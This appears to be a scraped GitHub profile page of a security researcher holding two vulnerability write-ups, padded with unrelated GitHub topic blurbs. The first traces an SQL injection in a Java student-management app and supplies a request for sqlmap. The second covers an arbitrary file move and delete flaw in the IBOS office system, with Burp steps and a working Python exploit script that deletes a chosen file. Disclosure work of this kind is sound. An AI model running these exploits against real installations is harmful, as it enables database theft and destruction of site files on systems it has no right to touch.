- Born in 🌏
- Cybersecurity Worker 😎
- I hope to make a little progress every day compared to yesterday 👊
- Advocate good project open source ✨
- Any problem that can be solved by tools, never manually handled 🖐
You are visitor |
In this project, database operations are mainly carried out in Dao layer files, which use a large number of SQL statement concatenation, such as the following:
It can be observed that in the getCourseList function of the CourseDao.java file, the query parameter is directly concatenated into the SQL statement without filtering:
Backtracking to the getCourseList function under the CourseService class method, without filtering:
Continuing back to the AdminCourseController.Java file in the Controller layer, it was discovered that the user input parameter query was directly obtained and assigned to the query variable through the request.getParameter function, which was then passed to the courseService.getCourseList function, causing an SQL injection vulnerability:
EXP:
Log in to the backend and use sqlmap to utilize the following data packets:
post.txt
GET /StudentManage/admin/adminCourseUrl?query=a HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost:8080/StudentManage/admin/adminCourseUrl
Cookie: JSESSIONID=6F5BB433C24A3852A1BC7A0DED85F41A; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1708572429; ujcms-visit-unique-visitor=3997217217705102; ujcms-unique-visitor=4539723231056234169; Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a=1713171277
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Build the source code locally by downloading:https://gitee.com/ibos/IBOS
The vulnerability exists:http://127.0.0.1/?r=dashboard/default/index
First, log in to the backend management and enter General Settings ->Login Page Background. The routing is at /?r=dashboard/default/index:
Using burp:
Change the path to the api/authlogin.php file in the current website directory:
Sending data packet, found that the file has been moved to the data\login directory:
At this point, the file authlogin.php was only moved to a new directory, and then we overwritten the previously copied file authlogin.php with api\wxqy\callback.php in the root directory of the file website:
Sending data packet, found that the previous authlogin.php has been deleted:
Next, try deleting files outside the website directory. First, create an a.txt file in the installation directory of the website, and then construct the data package:
After sending the data packet, a.txt has been copied to the data\login directory and can be accessed:
EXP:
import requests
ip = "127.0.0.1"
path = "api/wxqy/index2.php"
headers = {"Cookie":"8Q9V_saltkey=E2pIP4YJ; PHPSESSID=fefbcg8l1ptrocsorqk78nbba1; 8Q9V_sid=2jsy5x; 8Q9V_lastactivity=1694436951; 8Q9V_ulastactivity=2841MZj%2FBBFnVMEdm1nGhhav%2BAaSSOmjmgoTsLJvhTS%2BnoO1%2BQVU",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded",
"Content-Length":"174",
"Connection":"close"}
data = "bgs%5B1%5D%5Bimage%5D={}&file=&bgs%5B1%5D%5Bdisabled%5D=0&bgs%5B2%5D%5Bimage%5D=data%2Flogin%2Fibos_login2.jpg&file=&bgs%5B2%5D%5Bdisabled%5D=0&removeId=&loginSubmit="
code1 = requests.post(url="http://{}/?r=dashboard/login/index".format(ip),data=data.format(path),headers=headers).status_code
code2 = requests.get(url="http://{}/data/login/{}".format(ip,path.split("/", -1)[-1]))
if code1 == 302 and code2 == 200:
print("[+] del {}".format(path))
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.